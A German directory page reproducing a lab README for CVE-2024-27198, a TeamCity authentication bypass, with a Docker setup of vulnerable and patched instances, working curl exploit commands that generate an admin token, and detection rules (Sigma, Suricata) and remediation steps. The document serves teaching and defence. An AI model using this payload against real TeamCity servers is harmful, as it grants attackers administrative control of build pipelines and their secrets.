Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-27198_LAB | Kitploit
Tools/GitHubGitHub/ne0zer01/cve-2024-27198_lab
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsBedrohungsanalyseEinbruchserkennungLernen & BildungIncident ResponseLog-AnalyseLabs & Praxis
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

Repository anzeigen

CVE-2024-27198 Labor

Beschreibung

TeamCity stellt eine nur für Administratoren vorgesehene Seite für die Token-Verwaltung bereit, die nicht durch Authentifizierung geschützt ist. Dadurch kann ein nicht authentifizierter Benutzer ein Zugriffstoken für den Admin-Benutzer generieren, wenn er die ID eines vorhandenen Benutzers herausfinden kann.


CVE-Details

  • CVE-ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Basis-Score: 9.8 KRITISCH
  • Vektor:
    • CVSS:3.1
    • AV:N Network
    • AC:L Low
    • PR:N None
    • UI:N None
    • S:U Unchanged
    • C:H High
    • I:H High
    • A:H High

Threat Intelligence & OSINT

Reale Auswirkungen & Exploitation

  • CISA-KEV-Katalog: Hinzugefügt am 7. März 2024, was eine aktive Ausnutzung in freier Wildbahn bestätigt.
  • Bedrohungsakteure: Von mehreren Ransomware-Gruppen und APTs ausgenutzt, insbesondere von der BianLian-Ransomware-Gruppe und der Jasmin-Ransomware-Variante. Angreifer nutzten diesen Bypass, um nicht autorisierte Administrator-Konten zu erstellen, bösartige Plugins zu installieren und beliebigen Code auszuführen (RCE), um sich lateral in den Netzwerken der Opfer zu bewegen.
  • Zielprofil: CI/CD-Pipelines sind hochwertige Ziele (Supply-Chain-Angriffe). Eine Kompromittierung von TeamCity ermöglicht es Angreifern, bösartigen Code in Software-Builds einzuschleusen, Quellcode zu stehlen und Bereitstellungsgeheimnisse (AWS-Schlüssel, Zertifikate) zu extrahieren.

Warum diese CVE kritisch ist

Die Schwachstelle liegt im Routing-Mechanismus der REST-API. Durch das Anhängen bestimmter Zeichen (wie ?jsp=/app/rest/...;.jsp) an einen nicht authentifizierten Endpunkt können Angreifer den TeamCity-Webserver dazu bringen, die Anfrage an einen authentifizierten Endpunkt weiterzuleiten und dabei die Sicherheitsfilter zu umgehen. Dies erfordert keinerlei Vorwissen oder Zugriff und macht sie zu einer reinen 9.8-CVSS-Schwachstelle.


Schritte zur Reproduktion

Container starten

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

Greifen Sie auf die anfällige TeamCity-Instanz unter http://localhost:8111 zu. Greifen Sie auf die gepatchte TeamCity-Instanz unter http://localhost:8112 zu.


Anmeldeportal

Benutzername:

root@kitploit:~
admin

Passwort:

root@kitploit:~
admin

Die Schwachstelle testen

GET-Anfrage für eine Ressource ohne Authentifizierung:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

Beide sollten einen Fehler mit dem Statuscode 401 zurückgeben.


Ein Token für den Admin-Benutzer generieren

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Dies sollte ein Token wie folgt zurückgeben (Das Token ist jedes Mal anders):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Dies sollte einen Fehler mit dem Statuscode 401 zurückgeben, da die gepatchte Instanz die Schwachstelle nicht aufweist.


Token verifizieren

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Sollte die Liste der Benutzer zurückgeben.


Das Token löschen

  1. Gehen Sie mit dem Admin-Konto zu http://localhost:8111.
  2. Klicken Sie oben rechts auf das Profilsymbol.
  3. Gehen Sie zu Profile -> Access Tokens.
  4. Sie werden das Token „REDTEAM“ sehen.
  5. Klicken Sie einfach neben dem Token auf Delete.

Blue Team: Jagd nach IoCs in Logs (Der Stealth-Faktor)

Während der Demonstration im Labor können Sie einen massiven Blue-Team-Fund zeigen: Standardmäßig ist diese Schwachstelle unglaublich heimlich!

  1. Tomcat-Zugriffsprotokolle sind im TeamCity-Docker-Image standardmäßig deaktiviert, daher werden die ;.jsp-HTTP-Anfragen nicht protokolliert.
  2. Das TeamCity-Auditprotokoll protokolliert die Tokenerstellung über die REST-API nicht.

Wie können wir es also erwischen? Wenn der Angreifer seine Spuren verwischt! Wenn der Angreifer sein nicht autorisiertes Token löscht, um sich zu verstecken, protokolliert TeamCity das sehr wohl.

Finden Sie den Angreifer beim Verwischen seiner Spuren in den Auditprotokollen:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Sie werden einen Protokolleintrag sehen, der angibt, dass das Token „REDTEAM“ gelöscht wurde).


Container stoppen

root@kitploit:~
docker compose -f docker-compose.yml down

Gegenmaßnahmen & Erkennung

Technische Analyse (CWE-288)

Diese Schwachstelle ist ein Fall von CWE-288: Authentication Bypass Using an Alternate Path or Channel. Der Fehler beruht auf einer Pfadverwechslung zwischen dem Tomcat-Webserver und dem TeamCity-Anwendungsrouter. Durch das Anhängen von ;.jsp und das Übergeben des Ziel-REST-API-Endpunkts im Parameter jsp= interpretiert der anfängliche Sicherheitsfilter die Anfrage als nicht authentifizierte Anfrage an eine öffentliche .jsp-Datei (was erlaubt ist). Der interne Router entfernt jedoch das ;.jsp und leitet die Anfrage an den eingeschränkten /app/rest/-Endpunkt weiter, ohne den Authentifizierungsfilter durchzusetzen.

Legitimer Anwendungsfall (Warum ist ; erlaubt?): Tomcat verwendet das Semikolon (;) für Matrix-Parameter. Historisch gesehen wird dieser Mechanismus verwendet, um Parameter direkt im Pfad zu übergeben, z. B. durch Anhängen von JSESSIONID, um den Sitzungsstatus des Benutzers aufrechtzuerhalten, wenn Cookies deaktiviert sind. Dieses normale, legitime Webserver-Verhalten in Kombination mit der unsachgemäßen Validierung durch den TeamCity-Anwendungsrouter erzeugt die Schwachstelle.

Indikatoren einer Kompromittierung (IoCs)

Um eine laufende oder vergangene Kompromittierung zu erkennen, sollten Blue Teams nach Folgendem Ausschau halten:

  1. Web-Protokolle: HTTP-Anfragen, die auf /app/rest/-Endpunkte abzielen, aber die anomale Zeichenfolge ;.jsp in der URI enthalten.
  2. Auditprotokolle (teamcity-server.log): Unerklärliche Generierung von Zugriffstokens oder Erstellung neuer administrativer Konten.
  3. Systemebene: Installation unbekannter oder verdächtiger Plugins (häufig von Angreifern genutzt, um Privilegien zu erweitern und Remote-Code-Ausführung zu erreichen).

Protokollerkennung (Sigma-Regel)

Da der anfängliche Exploit standardmäßig heimlich ist, müssen sich Blue Teams darauf verlassen, die Post-Exploitation-Aktionen des Angreifers zu erkennen, z. B. das Verwischen seiner Spuren. Hier ist eine Sigma-Regel für Ihr SIEM, um verdächtige Token-Löschungen zu erkennen:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM-Live-Demo (Blue Team)

Um zu beweisen, dass diese Erkennung funktioniert, führen Sie das Skript siem_simulator.py aus.

  1. Öffnen Sie ein zweites Terminal neben Ihrem Exploit-Terminal.
  2. Stellen Sie sicher, dass der anfällige Container läuft (docker compose up -d).
  3. Führen Sie den Simulator aus:
root@kitploit:~
python3 siem_simulator.py
  1. Führen Sie im ersten Terminal den Exploit aus, verifizieren Sie das Token und löschen Sie das Token dann über die Weboberfläche.
  2. Beobachten Sie, wie das zweite Terminal mit einer roten kritischen Warnung aufleuchtet, die zeigt, wie die Sigma-Regel den Angreifer beim Verwischen seiner Spuren erwischt!

Behebung

  • Offizieller Patch: Aktualisieren Sie TeamCity auf Version 2023.11.4 oder höher, die die Eingaben ordnungsgemäß bereinigt und die Route-Zuordnung im Backend erzwingt.
  • Workaround: Wenn ein Patch nicht möglich ist, hat JetBrains ein Sicherheits-Patch-Plugin veröffentlicht, das auf anfälligen Instanzen installiert werden kann.

Netzwerkerkennung (Suricata-/Snort-Regel)

Um diesen Exploit-Versuch im Netzwerk zu erkennen, kann ein SOC die folgende IDS-Regel implementieren, die nach dem anomalen ;.jsp-Muster in Kombination mit REST-API-Pfaden sucht:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Die gepatchte Version testen (Lab-Demonstration)

Um zu beweisen, dass die Gegenmaßnahme funktioniert, können Sie dieselbe Exploit-Payload gegen den gepatchten TeamCity-Container auf Port 8112 ausführen:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Da der Patch die Route-Zuordnung strikt erzwingt und Matrix-Parameter ordnungsgemäß bereinigt, schlägt der Bypass fehl. Sie sollten eine 401 Unauthorized- oder 404 Not Found-Antwort sehen, anstatt eines generierten Tokens.


Links

  • CVE-2024-27198
Tool herunterladen